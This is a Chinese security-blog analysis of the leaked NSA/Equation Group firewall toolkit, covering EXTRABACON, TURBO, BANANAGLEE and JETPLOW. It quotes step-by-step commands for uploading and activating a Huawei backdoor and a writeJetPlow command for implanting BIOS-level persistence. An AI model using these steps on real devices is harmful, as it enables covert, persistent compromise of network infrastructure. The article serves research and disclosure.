NSA(美国国安局)泄漏文件深度分析(PART 1)
* 本文原创作者:tom_vodu,本文属FreeBuf原创奖励计划,未经许可禁止转载
一、前言
防火墙是保护内网机器不受网络攻击者侵害的第一道也是非常核心的一道防线,最基本的功能就是外部人员无法访问到内网的机器,内部人员能正常访问互联网,借此保护内网安全。
自1993年防火墙发明至今,对网络攻击者而言其依旧是一道难以逾越的天堑,但不是不能逾越。有太多的企业盲目的相信设备,这是不全面的。
这次泄漏的工具全部是针对防火墙,包含的部分型号如下:
在2015年度,中国防火墙前十关注品牌比例如下图:
涉及到的防火墙品牌在中国占比超过了60%,在世界范围内更甚。夸张的说就是全中国60%的公司及部门内网可以被工具拥有者直接访问。而这只是文件中60%公开给大众的工具,还有40%的核心机密工具正在以高价拍卖。
二、文件夹简介
文件的主目录为Firewall,下面有9个子文件夹,推测如下:
BANANAGLEE 针对Juniper与 CISCO ASA 的后门工具
BARGLEE 跟BANANAGLEE类似的防火墙后门工具
BLATSTING 安装在目标上的工具,有scan,profiler,sniffer功能。其中的LP功能类似于BG里的LP
BUZZDIRECTION 包含一些attacker使用的工具
EXPLOITS EXP文件夹
OPS This folder contain the script is used to configure Apache on your Opbox for FW Ops
SCRIPTS 脚本文件夹,包含许多工具安装使用说明,配置脚本等
TOOLS 用户辅助工具文件夹
TURBO 针对华为设备后门
在EXPLOITS 文件夹中,有如下子文件夹,分析如下:
EGBL = EGREGIOUS BLUNDER (Fortigate Firewall + HTTPD exploit )
ELBA = ELIGIBLE BACHELOR (topsec firewall )
ELBO = ELIGIBLE BOMBSHELL (Chinese TOPSEC firewall)
ELCA = ELIGIBLE CANDIDATE (topsec firewall )
ELCO = ELIGIBLE CONTESTANT (topsec firewall )
EPBA = EPIC BANANA (cisco asa与juniper )
ESPL = ESCALATE PLOWMAN
EXBA = EXTRA BACON (Cisco ASA v8.0 to v8.4)
三、测试
准备先测试一个EXP,选择“eqgrp-free-file/Firewall/EXPLOITS/EXBA/extrabacon_1.1.0.1.py”文件,分析如下:
1.该程序通过SNMP获取一些目标的基本信息
2.执行version_check:
3.检查目标当前版本号是不是在支持列表中
4.如果该目标版本号在当前支持列表中,就创建shellcode:
5.按照选项生成开启验证或者关闭验证的payload:
6.生成EXP,执行:
执行该EXP的效果就是关闭防火墙对管理接口(TELNET或者SSH)的认证,允许攻击者通过连接不需要验证的管理接口(TELNET或者SSH)进行未授权操作
总结文档中说的,漏洞前提条件有以下三条:
1.ASA的版本号必须是8.4.4及以下
2.开启telnet或者SSH管理接口
3.开启SNMP 使用的UDP 161端口
这三个条件加在一起就比较苛刻,8.4.4版本实在是有点老了,搜索到的ASA基本都是8.5或者以上,最接近的一个是8.4.5。同时还要开启管理接口和SNMP端口。目前并没有找到合适的公网设备进行测试,只能在虚拟环境中进行验证。
四、TURBO分析
文件“eqgrp-free-file/Firewall/SCRIPTS/TURBO_install-new.txt”中有详细的安装说明,总结安装步骤如下:
1.在华为的设备上开启FTP服务,并且赋予用户FTP目录及权限。
ftp server enable
aaa
local-user <USER> ftp-directory flash:/
local-user <USER> service-type <current privs> ftp
2.将需要上传的文件统一放入TURBO下的upload目录里,并赋予完全权限
mkdir /current/bin/FW/TURBO/upload
cd /current/bin/FW/TURBO/upload
cp /current/bin/FW/TURBO/rekey/bfile.* bfile
cp /current/bin/FW/TURBO/PP/TX/btest.bat .
cp /current/bin/FW/TURBO/PS/E1000_VRP330_R0350_03_08/s* .
chmod 777 *
3.连接设备的FTP,上传grat (PolarSneeze) & PBD (PolarPaws)
nftp -r REDIRECTOR_IP -N 127.0.0.1 FIREWALL_IP
dir
put test.bat test.bat
binary
put sfile sfile
put bfile bfile
bin
get <file>
quit
4.执行test.bat安装
execute test.bat
5.连接后门
./pandarock_v1.10.0.1.bin
settip 127.0.0.1
settport 3146
setsport 3123
注意:
注:其中的rekey目录下的bfile.* bfile文件我并没有找到,但是文档之前说的“Everything you need for the op is in firewalls/TURBO directory”。关于KEY,是由程序在本地生成然后使用,如下图:
总结:
没有详细的针对版本叙述,怀疑可能是通杀全版本的华为。NSA对华为产品很了解,甚至包含全套撤离操作标准。
其中的scrubuser与crubhidden命令并不是华为命令,应该为后门程序自带功能。
由于没有说明针对设备的型号及其版本号,所以在HUAWEI的eNSP随意选择了一台路由器进行简单测试,但是并未成功,仍需要进行troub_shooting。并且不确定是因为设备、TURBO配置问题还是因为版本支持及虚拟化问题。
所有后门连接都必须使用*.key文件,有很高的安全意识,基本无法被爆破。
五、BANANAGLEE
该项目应该是针对Juniper设备与CISCO ASA 设备,“BANANAGLEE” 目录下由BG开头的五个目录和一个BANANASURPER目录(升级文件)。文件夹名称以BG开头,数字结尾。开头的“BG”应该是工具“BANANAGLEE”的简称,结尾的数字,应该是juniper设备的型号,编号为3121文件夹为专门针对CISCO ASA 设备。
部分关于BG的changelog:
并且该userscript.FW应该为整体的启动程序:
在“eqgrp-free-file/Firewall/BANANAGLEE/BG2100/Install/LP/”中的lp,通过它来启动BG的功能。其中一个主要的模块就是redirector,在防火墙上实现流量加密,转发。
其中的LP“eqgrp-free-file/Firewall/BANANAGLEE/BG2100/Install/LP/LP”为后门连接程序或者说叫做管理端,部分功能选项如下:
Choose option 1 to Open a session
Choose option 9 to close your session.
Choose option 30 to List Uploadable Modules
Choose option 31 to Upload the BUSURPER-2121.mod module
Choose option 32 to Activate the BUSURPER-2121.mod module
Choose option 36 to view uploaded modules
Choose option 0 to close your lp.
在“eqgrp-free-file/Firewall/BANANAGLEE/BG2100/Install/LP/UTILS/”文件夹中,有如下几个文件:
ipFilt.txt
tcpFilt.txt
ipFilt.txt
ipFilt-extr.txt
tcpFilt-extr.txt
其中tcpFilt.txt内容如下:
上述文件内容跟“eqgrp-free-file/Firewall/SCRIPTS/Netprofiler.txt” 中说明的流量过滤选项类似,netprofiler程序,它是用来过滤和导出文件。简要总结如下:
1. profiler模块的拥有两个模块,分别是filter与extraction。
2. 分析文件中的数据格式,推测为在防火墙上,定向的选择出需要的流量,然后进行导出。如果你需要保存之前的数据到一个“httpFilt.txt”文档中,然后给profilter去编辑它。
3. 为了导出流量,你必须特别指定从IP包头开始的偏移量和字节长度。实际上你导出的流量是数据包从IP包头开始,偏移某个长度的定长度的数据。
4.一旦你编译好了filter和extraction,你就可以上传到“Profiler module”去执行了。
Sample:./xtrctcomp tcpPort-extr.txt tcpPort-extr.bin
5. 将收集到的流量写入extract,文件在juniper的防火墙上。并且为了将收集到的数据转换成pcap格式,还专门提供了转换工具
Sample:./xtractpleasing --i <collected profile> --o <output file> --s <number of bytes skipped> --t <Number of bytes collected> --p <optional flag to specify TCP, UDP, or ICMP>
在分析完多个文件之后,将该工具总结如下:
三个较为核心工具:LP(控制端),redirector+tunnel(建立加密隧道),profiler(获取流量)。
在本地的txt中写入target流量特征,包括IP地址,掩码,协议,端口号等。然后编译上传至防火墙上加载执行。防火墙会根据设定捕获相应的流量,然后将需要保存的数据写入到extract文件中。然后使用者将该文件下会,并用特定的处理脚本将数据转换成pcap格式。
关于redirector模块,运行start_redirector,程序会创建并上传一个叫做PacketDropper 的filter 文件,并且可以启动一个本地监听程序用来加密和转发数据。具体功能类似于常用了HTTP代理,不同的地方就是该代理程序以固件形式运行在防火墙上,并且将流量数据加密。
本地监听程序,因该就是所有操作文档中都会使用的tunnel,流程理解如下图:
tunnel程序所在位置:
JP,全称是JETPLOW,该文件为“ bios module” for PIX,就是可以允许人员操作修改bios。该工具仅支持BG2100与BG2200两个,如下图:
分析得出该程序有两种模式,分别为:
FOR A GENERAL PIX
FOR A PIX ASA
并且biosMoudleyou多种型号,一般使用AM29F.mod,在该工具包中,实际文件为:
通过查询,判断可能是AMD / AM29F4系列芯片,一款AMD产的CMOS的存储器。
(http://html.alldatasheetcn.com/html-pdf/55467/AMD/AM29F400B-1/270/5/AM29F400B-1.html)
首先是通过LP上传改module,然后本地运行两次“writeJetPlow”程序,第一次不携带参数,第二次携带参数,例如:
“./writeJetPlow-2130 --lp 127.0.0.1 --implant 127.0.0.1 --idkey project.key --sport 23435 --dport 45453 --readCmd 18 --writeCmd 19 --operation INSTALL --dir jetplow --expert --platform PIX###”
一路回车,选择默认选项。
将恶意代码或者后门等工具制作成二进制的BIOS固件级别文件,上传到目标设备上执行, 将极其不可能被发现。(个人经验:接触网络安全,研究设备这么长时间,从没有听说过谁会将设备上的IOS下会到本地,计算MD5,跟官方的数据进行比对,已确定是否是正版)
在“eqgrp-free-file/Firewall/BANANAGLEE/BG2100/Dats/”目录下,有大量的dat文件,从文件名可以大概看出来bananaglee可能针对的设备型号:
只是在2100文件夹所,所对应的设备就基本覆盖了Juniper Firewall产品线的大部分新老产品了,还有出了2100外的四个类似文件夹。
推测,NSA的后门应该可以种植在所有Juniper Firewall上。
目前总结所有分析,只了解到该工具包是如何在防火墙固件层面上,精确的捕获流量,记录流量,未找到更多选项或者关于动态劫持流量的操作文档。由于想进一步了解,就准备开始着手逆向“eqgrp-free-file/Firewall/BUZZDIRECTION/BUZZ_1120/Mods/App/Buzzdirection/i386NetworkProfiler.lx32”与“NetworkProfiler.lx64”程序,以图获取更多信息。
由于防火墙ROM并不会很大,获取完整流量效果不好,所以推测该方式只是用来进行侦查探测或者叫做NetworkProfile,或者是由于目前信息不完整,不知道该工具包的完整面功能。
在“eqgrp-free-file/Firewall/BUZZDIRECTION/BUZZ_1210/SeconddateCnC/noarch/”文件夹中有两个文件,分别叫做叫做“create_http_injection.py”与“create_dns_injection.py”,引起了我极大的兴趣。其中,在命令行下运行“python create_http_injection.py -o test.html http://www.baidu.com/index.php” 会生成一个test.htmlt文件,内容如下图:
该页面的作用就是不停的请求“http://www.baidu.com/index.php”页面。
该是用来在防火墙上针对特定目标进行流量投毒,劫持HTTP流量,使得目标用户在打开某一网页时,被强制访问含有恶意软件及脚本的页面。
但是在其它操作文档中并未找到任何关于动态劫持流量计的操作命令,所以只能猜测该功能可能在剩下的40%文件中或者是在其它的工具包中。
小插曲
在分析jetplow文档的时候,出现了第一个工网IP地址 “202.163.69.189”,出现位置是在一个jetplow说明文档内的一个文件的名称中,如下图:
经查,该IP地址属于 巴基斯坦。
并且有意思的是该文件名还包括“sickle star”,中文翻译为“镰刀 星星”,加上巴基斯坦的IP地址,不知道有何意义。
由于该文档编写时间过早,不能确定该IP地址的归属和启用过何种服务,以及是架设过PIX设备。因此不能确定该IP地址跟工具包开发者之间的联系。
从该文件的change_log中看出,该文件的开发部署时间是2010年12月15日!(本人2010年的时候,才刚刚进入大学,开始学习高数,大物,马哲等课程)
六、问题
关于tunnel,在每个操作指南中,只要需要接触到目标的操作,都会提前建立一个tunnel通过redirector去连接目标。这个行为如果是因为设备在内网中,就很好理解,通过redirector代理转发进内网。但是在一些其它的文件中看到,一些针对防火墙等理论上处于边界的设备的操作也需要经过一个REDIAECTOR,例如在“eqgrp-free-file/Firewall/SCRIPTS/EGBL_AND_BLATSTING.txt”文件中有如下叙述:
在该文件开始部分说的非常明确,针对Fortigate line of Firewalls HTTPD的EXP,并且第一步骤是对防火墙的扫描去获取ETAG,从而去判断能否执行EXP。该步骤必须要执行一个tunnel,由于该操作文档具是具有通用性了,防火墙套防火墙的设计只会是个例。Fortigate应该处于网络边界,那为什么还要和防火墙建立一个tunnel,然后再去扫描target。
我就非常不明白这是为什么,只是简单的当做一个网络跳板么,用0DAY获取网络跳板,会不会成本太高。
七、搭建信息
由于还在测试,搭建信息还不完善,期待大家的完善。
文件“eqgrp-free-file/Firewall/BLATSTING/BLATSTING_20322/opinstructions/upload_nopen.txt”中有部分安装流程:
BLATSTING基本操作文档“eqgrp-free-file/Firewall/SCRIPTS/blatsting_basics.txt”
安装脚本在SCRIPT与OPS中有很多,仍然在测试中。。。。
八、总结
NSA对流量处理的方式跟我之前使用的方式不一样。由于深入到固件级别,数据处理效率,隐藏效果会非常好。而且在设备上的操作不在只是获取和记录流量,还能按照设定获取数据包中的特定字段,并且推测有能力直接在设备上完成对流量的劫持与修改。这是我之前思路完全不能比拟的。
结合之前的新闻,中国某大型互联网设备企业被NSA从2007年左右开始控制直到14年被NSA自己的雇员@Edward Snowden 曝光该行动,入侵行为从未被发现,入侵行为长达七年之久啊。(http://tech.163.com/14/0323/10/9O10OFG6000915BE.html)
并且该入侵行为被曝光之后也未公布相关调查报告,使得公众对入侵行为使用的方式方法与工具一无所知,只能进行如下猜测:
入侵行为不可能一点都不备发现,只是太多的细节被目标公司员工或者网络安全人员所忽略,并且以“我们有强大的防火墙,我们处于中国互联网安全设备领导地位”,这样的宣传标语所麻痹,出现问题自我安慰,只是一个bug。并且,在2010年,估计还没有人关心防火墙自身的安全。
由此可知,NSA在2007年之前就已经开始着眼于网络设备,并且深知控制了网络设备所带来的优势。控制了防火墙就等同于控制了目标的大门,并且该大门的开启对方难以察觉。修改BIOS固件,就是做到让这扇门根本无法被关闭。
从工具包中的代码看出,NSA程序员的能力并没有强到天上,他们使用Python,Perl等脚本语言写出来的工具,跟我们大家一样。唯一的区别就是习惯,从函数的定义命名,代码结构顺序,设计思路,及各个方面的考虑,比国内程序员写的精细很多,尽力去考虑到所有可能出现的问题。代码阅读很舒服。国内普遍比较浮躁,但也有幸认识了许多脚踏实地的优秀程序员。
中国目前并不缺乏优秀的程序员,缺的是哪种着眼于未来的意识与规划。
由于之前也一直在做关于设备及流量安全的研究,深知控制了网络流量就控制了一切的道理。并且研究设备安全有一段时间,本以为自己可以仰望到星空了,但这个工具包让我认识到我只是看到了只是井口的一片天。亟需提高自己的眼界。
期待着志同道合之士共同研究,学习。在当前的狂风暴雨中为安全打开一片天。
由于该工具包才公开不久,时间短,如有疏漏,烦请指出,我们共同讨论,谢谢。